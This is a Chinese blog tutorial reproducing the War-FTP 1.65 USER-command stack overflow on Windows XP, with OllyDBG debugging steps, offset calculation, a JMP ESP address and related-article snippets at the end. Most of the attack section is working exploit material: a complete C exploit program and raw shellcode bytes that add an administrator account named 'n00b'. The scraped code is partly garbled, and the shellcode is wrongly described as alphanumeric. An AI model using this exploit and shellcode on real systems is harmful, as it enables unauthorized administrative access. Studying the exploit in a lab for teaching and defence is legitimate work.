当前位置: 首页 > article >正文

从OllyDBG调试到Shellcode注入:War-FTP 1.65溢出漏洞的完整复现与深度解析

1. 漏洞背景与环境搭建War-FTP 1.65是早期广泛使用的FTP服务器软件它在处理用户名输入时存在经典的栈溢出漏洞。这个漏洞的特殊之处在于当客户端发送超过480字节的用户名时会导致服务器缓冲区溢出从而可能被攻击者利用执行任意代码。我最早是在2003年的一次安全研究中接触到这个案例当时它作为栈溢出教学的经典范例在安全圈广为流传。实验环境搭建需要特别注意版本匹配操作系统Windows XP Professional SP3建议使用虚拟机调试工具OllyDBG 1.10注意不要用新版兼容性更好开发环境Visual C 6.0 with SP6目标软件War-FTPD 1.65原版安装包这里有个坑我踩过多次一定要用原版VC6.0不能用新版VS替代。因为新版编译器会对栈保护做额外处理导致PoC行为不一致。安装完环境后建议先关闭Windows XP的DEP数据执行保护功能否则后续shellcode执行会失败。2. 漏洞触发与基础分析2.1 初步漏洞验证先用最简单的PoC验证漏洞存在性。我写了个基础测试程序#include winsock2.h #pragma comment(lib, ws2_32.lib) int main() { WSADATA wsa; WSAStartup(MAKEWORD(2,2), wsa); SOCKET s socket(AF_INET, SOCK_STREAM, 0); sockaddr_in server; server.sin_family AF_INET; server.sin_port htons(21); server.sin_addr.s_addr inet_addr(127.0.0.1); connect(s, (sockaddr*)server, sizeof(server)); send(s, USER , 5, 0); for(int i0; i1000; i) send(s, A, 1, 0); send(s, \r\n, 2, 0); closesocket(s); WSACleanup(); return 0; }运行后用OllyDBG附加war-ftpd.exe进程会发现程序崩溃时EIP变成了0x41414141AAAA的ASCII码。这个现象说明我们成功覆盖了返回地址溢出点距离缓冲区起始位置需要精确计算ESP寄存器指向的内存区域可能被我们控制2.2 精确定位溢出点这里推荐使用Metasploit的pattern_create.rb工具生成定位字符串ruby pattern_create.rb -l 1000把生成的字符串替换到PoC中发送当程序崩溃时记录EIP的值比如显示32位值0x32714131查看ESP指向的内存内容比如显示0x71413471然后用pattern_offset.rb计算偏移量ruby pattern_offset.rb -q 32714131 -l 1000 ruby pattern_offset.rb -q 71413471 -l 1000在我的测试中得到EIP偏移量为485字节ESP有效载荷起始于493字节。这个结果说明用户名缓冲区到返回地址之间有485字节shellcode应该从493字节处开始放置中间的8字节485-493需要精心构造3. 漏洞利用技术细节3.1 JMP ESP地址寻找关键步骤是找到可靠的JMP ESP指令地址。在Windows XP SP3中可以尝试以下方法在OllyDBG中执行以下操作右键CPU窗口 搜索 所有模块中的命令输入JMP ESP从结果中选择一个地址如0x7ffa4512验证地址有效性在OllyDBG命令行执行dd 7ffa4512应该看到FFE4JMP ESP的机器码这里有个重要技巧选择系统DLL中的地址如kernel32.dll比应用程序本身的地址更稳定因为DLL的加载基址通常不变。3.2 Shellcode构造与优化我测试过多种shellcode最终采用添加管理员的经典方案char sc[] \x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2b \x77\x28\x4a\x83\xeb\xfc\xe2\xf4\x11\xbf\x90\x4a\x2b\x77\xa3\xc3 \x7a\x9e\x54\x83\x3e\xfc\xc7\x0f\x09\xe5\xa3\xd9\x66\xfc\xc3\xcf \xcd\xc1\xa3\x87\xa8\xc4\xe8\x1f\xea\x71\xe8\xf2\x41\x34\xe2\x8b \x2b\x77\xa3\xee\x7e\x4e\xf4\x9e\x24\xff\xec\xd6\x66\xe1\x6c\x4a \x2b\x34\xa0\xc3\xa1\xae\x0c\x93\xc5\xe4\xf0\xd9\x66\xfc\x6c\xcf \xda\x9e\x6f\x0f\x3e\xe4\xf0\x87\x2b\x4e\x98\xc3\xd2\x3e\xcc\x4a \x2b\x77\x28\x4a;这段shellcode的特点长度仅100字节左右适合放入有限缓冲区使用字母数字混合编码避免坏字符问题功能明确添加用户n00b并加入管理员组实际使用时需要注意确保没有包含0x00字符串终止符避免0x0A和0x0D换行回车符根据实际情况调整栈帧平衡4. 完整PoC构造与测试4.1 最终攻击代码实现结合所有技术点完整PoC如下#include winsock2.h #include stdio.h #include string.h #pragma comment(lib, ws2_32.lib) char sc[] \x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2b /* 省略完整shellcode同上文 */; int main() { WSADATA wsa; WSAStartup(MAKEWORD(2,2), wsa); char buf[1024]; memset(buf, 0x41, 485); // 填充到EIP // 覆盖EIP为JMP ESP地址 buf[485] 0x12; buf[486] 0x45; buf[487] 0xfa; buf[488] 0x7f; // ESP区域填充 memset(buf489, 0x42, 4); // 过渡区域 memcpy(buf493, sc, strlen(sc)); // shellcode SOCKET s socket(AF_INET, SOCK_STREAM, 0); sockaddr_in server {0}; server.sin_family AF_INET; server.sin_port htons(21); server.sin_addr.s_addr inet_addr(127.0.0.1); connect(s, (sockaddr*)server, sizeof(server)); send(s, USER , 5, 0); send(s, buf, strlen(buf), 0); send(s, \r\n, 2, 0); closesocket(s); WSACleanup(); return 0; }4.2 调试技巧与问题排查在OllyDBG调试过程中我总结了几个关键观察点断点设置在recv函数处下断观察输入缓冲在strcpy或类似函数处下断跟踪缓冲区复制过程栈帧分析崩溃时查看ESP寄存器值观察栈内存内容是否包含我们的shellcode常见问题处理如果shellcode不执行检查DEP是否关闭如果EIP覆盖不成功重新计算偏移量如果连接立即断开检查shellcode中的坏字符这个漏洞利用成功的关键标志是war-ftpd.exe进程异常退出系统中新增了n00b用户该用户出现在管理员组中5. 漏洞防护与延伸思考虽然这是一个古老漏洞但其中的技术原理至今仍有教育意义。现代防护技术如DEP、ASLR、栈保护等本质上都是针对这类基础攻击手法的防御。对于开发者来说关键是要在任何用户输入处添加长度检查这是最根本的解决方案。在调试过程中我特别注意到Windows XP与现代系统的一个重要区别早期系统默认不启用DEP等保护机制这使得漏洞利用相对简单。这也解释了为什么现代漏洞利用需要更复杂的技术如ROP链构造。

相关文章:

从OllyDBG调试到Shellcode注入:War-FTP 1.65溢出漏洞的完整复现与深度解析

1. 漏洞背景与环境搭建 War-FTP 1.65是早期广泛使用的FTP服务器软件,它在处理用户名输入时存在经典的栈溢出漏洞。这个漏洞的特殊之处在于,当客户端发送超过480字节的用户名时,会导致服务器缓冲区溢出,从而可能被攻击者利用执行任…...

新手必看:Elman和Jordan两种RNN网络的区别图解(附LSTM实例)

从零理解Elman与Jordan网络:为什么现代RNN都选择前者? 刚接触循环神经网络(RNN)时,很多人会被各种变体搞得晕头转向。今天我们就来彻底拆解两种最基础的RNN架构——Elman和Jordan网络,用代码和图示告诉你为…...

从‘踩油门’到‘跑起来’:用Carsim Procedures完整复现一次NEDC循环工况

从‘踩油门’到‘跑起来’:用Carsim Procedures完整复现一次NEDC循环工况 当工程师第一次打开Carsim的Procedures模块时,面对密密麻麻的参数选项和链接,很容易产生一种"知道每个按钮的作用,却不知道如何演奏完整乐章"的…...

告别黑框!用PyQt5和Qt Designer给你的Python脚本做个可视化界面(附完整代码)

从命令行到可视化:PyQt5与Qt Designer高效GUI开发实战 每次运行Python脚本都要在黑色终端里输入命令,是不是已经让你感到厌倦?想象一下,当你把精心编写的脚本交给同事或客户时,他们面对那个闪烁的光标可能和你当初一样…...

服务技术软件即服务SaaS多租户数据隔离的实现方案

SaaS多租户数据隔离的实现方案 在云计算时代,软件即服务(SaaS)因其灵活性和成本效益成为企业首选。多租户架构下,如何确保不同租户的数据安全隔离成为关键挑战。本文将探讨SaaS多租户数据隔离的几种核心实现方案,帮助…...

字符串知识(LCS,LIS)区分总结归纳

👨‍💻 关于作者:会编程的土豆 “不是因为看见希望才坚持,而是坚持了才看见希望。” 你好,我是会编程的土豆,一名热爱后端技术的Java学习者。 📚 正在更新中的专栏: 《数据结构与算…...

TimeSformer在MMAction2里跑Kinetics400,我的显卡显存不够怎么办?优化与调参实战

TimeSformer在MMAction2中训练Kinetics400的显存优化实战指南 当我在实验室的RTX 3090上首次尝试用TimeSformer训练Kinetics400时,显存不足的报错让我意识到——Transformer类模型对硬件的要求确实苛刻。经过两周的反复试验和参数调整,我总结出一套针对…...

从调频到测速:图解FMCW雷达Chirp参数设计原理(含TI MMIC避坑指南)

从调频到测距:FMCW雷达Chirp参数设计的工程实践 毫米波雷达技术正在重塑自动驾驶和工业传感领域,而调频连续波(FMCW)雷达凭借其独特的优势成为主流选择。作为雷达系统的核心,Chirp参数设计直接决定了系统性能边界。本文…...

用Python和FastMCP为AI助手打造专属文档搜索工具:从本地Stdio到云端SSE部署全流程

用Python和FastMCP构建AI文档搜索引擎:从本地到云端的智能解决方案 在AI编程助手日益普及的今天,开发者们面临一个共同挑战:如何让这些助手准确理解并回答特定技术框架的问题?传统方法依赖静态知识库,但技术文档更新频…...

VinXiangQi:5分钟掌握免费象棋AI助手的终极完整指南

VinXiangQi:5分钟掌握免费象棋AI助手的终极完整指南 【免费下载链接】VinXiangQi Xiangqi syncing tool based on Yolov5 / 基于Yolov5的中国象棋连线工具 项目地址: https://gitcode.com/gh_mirrors/vi/VinXiangQi 想在象棋对弈中获得专业级的AI辅助分析吗&…...

好写作AI:科研绘图的“同声传译”,把数据方言翻译成学术普通话

你有没有过这种体验:跑了一周的实验数据终于出来了,你看着密密麻麻的数字,心里知道“这个东西很有意思”,但一张嘴就变成了“由图1可见…由图2可见…”,像极了一个不会说外语的游客,指着菜单上的图片点餐—…...

从零到一:ESP-Drone开源无人机终极开发指南

从零到一:ESP-Drone开源无人机终极开发指南 【免费下载链接】esp-drone Mini Drone/Quadcopter Firmware for ESP32 and ESP32-S Series SoCs. 项目地址: https://gitcode.com/GitHub_Trending/es/esp-drone 你是否曾经梦想亲手打造一架属于自己的智能无人机…...

用对高级检索,效率翻倍!以CV/NLP热点为例,详解四大顶刊数据库的精准文献挖掘术

用对高级检索,效率翻倍!以CV/NLP热点为例,详解四大顶刊数据库的精准文献挖掘术 在计算机视觉(CV)和自然语言处理(NLP)领域,每天都有大量新研究涌现。对于专注于特定技术方向的研究者…...

Harness CD + GitOps 架构师级实践:Canary 部署与多云交付

本文深入解析企业级 Harness CD(持续交付)与 GitOps 的高级架构设计原则与实践。作为 Harness 平台工程系列文章的第三篇,本文聚焦于服务/环境抽象模型、Canary + Progressive Delivery 策略、多云交付架构以及 GitOps at Scale 的设计考量,帮助架构师构建生产级的软件交付…...

【实战解决】Gazebo启动卡顿问题:从‘Preparing your world‘到流畅运行

1. Gazebo启动卡顿问题解析 第一次打开Gazebo时,很多人都会遇到卡在"Preparing your world"界面的情况。这个问题特别常见,尤其是刚接触ROS和Gazebo的新手。我自己刚开始用Gazebo时也遇到过,等了十几分钟都没反应,差点以…...

Harness 安全左移 + CCM + AI 增强:企业级交付平台终极指南

本文深入解析 Harness 在安全左移、云成本管理以及 AI 增强交付领域的核心能力。作为 Harness 平台工程系列文章的第五篇,本文聚焦于 Security Testing Orchestration(STO)、Cloud Cost Management(CCM)FinOps 优化以及 AI 原生化的 DevOps 能力,帮助企业构建安全、成本可…...

芝加哥伊利诺伊大学等机构联合破解AI语言模型生成困局

这项由芝加哥伊利诺伊大学、清华大学、MBZUAI以及麦吉尔大学联合开展的研究发表于2026年,论文编号为arXiv:2604.00375v1,为解决人工智能语言模型在文本生成中面临的质量与探索平衡难题提供了突破性解决方案。当我们使用ChatGPT或其他AI写作工具时&#x…...

Zynq裸机调试RTL8211FS网口,从ping不通到ping通的踩坑与填坑记录

Zynq裸机调试RTL8211FS网口的深度排错指南 当你在Zynq平台上第一次尝试让RTL8211FS PHY芯片工作时,可能会遇到一个令人沮丧的现象——网口指示灯亮了,但就是ping不通。这不是简单的驱动适配问题,而是一场需要耐心和系统思维的硬件调试之旅。 …...

人工智能伦理算法偏见与可解释性

人工智能伦理算法偏见与可解释性:技术背后的隐忧与挑战 在人工智能技术飞速发展的今天,算法已渗透到金融、医疗、司法等关键领域,但其决策过程往往像“黑箱”一样难以理解。更令人担忧的是,算法可能隐含性别、种族等偏见&#xf…...

荷兰独立研究者发现机器通过“聊天“自主发现看不见的物理规律

这项由荷兰阿姆斯特丹独立研究者Tomek Kaszyński完成的研究发表于2026年3月,论文编号为arXiv:2604.03266v1,研究成果令人惊叹地展示了人工智能如何通过"聊天"的方式自主发现那些我们肉眼看不见的物理规律。当我们观看一个球从斜坡上滚下来时&…...

深入剖析 memblock:Linux 内核早期内存管理的核心机制

1. memblock:Linux内核启动时的"临时工" 刚接触Linux内核开发的朋友可能会好奇:在系统启动的最初阶段,伙伴系统(Buddy System)还没准备好接管内存管理时,内核是如何分配内存的?这就不…...

2026年OpenClaw(Clawdbot)阿里云/本地喂饭级安装、配置大模型Coding Plan及使用步骤【最全】

2026年OpenClaw(Clawdbot)阿里云/本地喂饭级安装、配置大模型Coding Plan及使用步骤【最全】。本文面向零基础用户,完整说明在轻量服务器与本地Windows11、macOS、Linux系统中部署OpenClaw(Clawdbot)的流程&#xff0c…...

C# 结合pcap驱动实现EtherCAT主站开发实战

1. 为什么选择C#开发EtherCAT主站? 提到工业通信协议开发,很多人第一反应就是C/C。确实,像SOEM、IGH这些主流EtherCAT主站都是用C语言开发的。但作为一个长期在工业自动化领域摸爬滚打的开发者,我发现用C#开发EtherCAT主站有几个独…...

2026年OpenClaw(Clawdbot)本地环境4分钟本地喂奶级部署及使用流程【亲测】

2026年OpenClaw(Clawdbot)本地环境4分钟本地喂奶级部署及使用流程【亲测】。本文面向零基础用户,完整说明在轻量服务器与本地Windows11、macOS、Linux系统中部署OpenClaw(Clawdbot)的流程,包含环境配置、服…...

Matlab与CarSim联合仿真:基于三自由度车辆模型搭建EKF/UKF与积分法融合测量质心...

matlab和carsim联合仿真,基于三自由度车辆模型,搭建ekf或者ukf与积分法融合的用于测量质心侧偏角,纵向速度,横摆角速度。 清晨六点半的实验室键盘声格外清脆,我盯着屏幕里那辆在CarSim里蛇形走位的虚拟高尔夫&#xf…...

从理论到实践:共射极放大电路的设计与调试全攻略

1. 共射极放大电路的核心原理 共射极放大电路之所以被称为"电子工程师的必修课",关键在于它完美展现了晶体管放大的本质。想象一下,你正在用麦克风唱歌,但声音太小无法让全场听到——这时候就需要一个"声音放大器"。共射…...

自动化编译VTK库:用CMake脚本一键搞定源码下载、编译与集成

自动化编译VTK库:用CMake脚本一键搞定源码下载、编译与集成 在大型可视化项目开发中,VTK(Visualization Toolkit)作为行业标准的科学计算可视化库,其环境配置往往成为团队协作的瓶颈。传统手动编译方式不仅耗时费力&am…...

突破微信OAuth2.0单回调域名限制的实战方案

1. 微信OAuth2.0单回调域名限制的痛点 做过微信网页开发的同行应该都遇到过这个经典问题:在微信公众平台配置网页授权域名时,一个公众号只能设置一个回调域名。这个限制对于单一应用场景影响不大,但当我们需要同时运营多个子站点或微官网时&a…...

Qt原子变量避坑指南:从QAtomicFlag到QAtomicPointer,这些内存顺序和ABA问题你搞明白了吗?

Qt原子变量深度避坑指南:从内存顺序到ABA问题的实战解析 在Qt多线程开发中,原子变量就像一把双刃剑——用得好可以大幅提升性能,用不好则会引入难以调试的幽灵问题。上周团队就遇到一个典型案例:在ARM服务器上运行良好的无锁队列&…...

CSS如何在开发环境下自动热更新样式_配置webpack-dev-server

要让 CSS 热更新生效,必须同时启用 HMR(devServer.hot: true)、使用 style-loader(非 MiniCssExtractPlugin.loader)处理 CSS、且开发环境禁用 MiniCssExtractPlugin。webpack-dev-server 怎么配才能让 CSS 热更新生效…...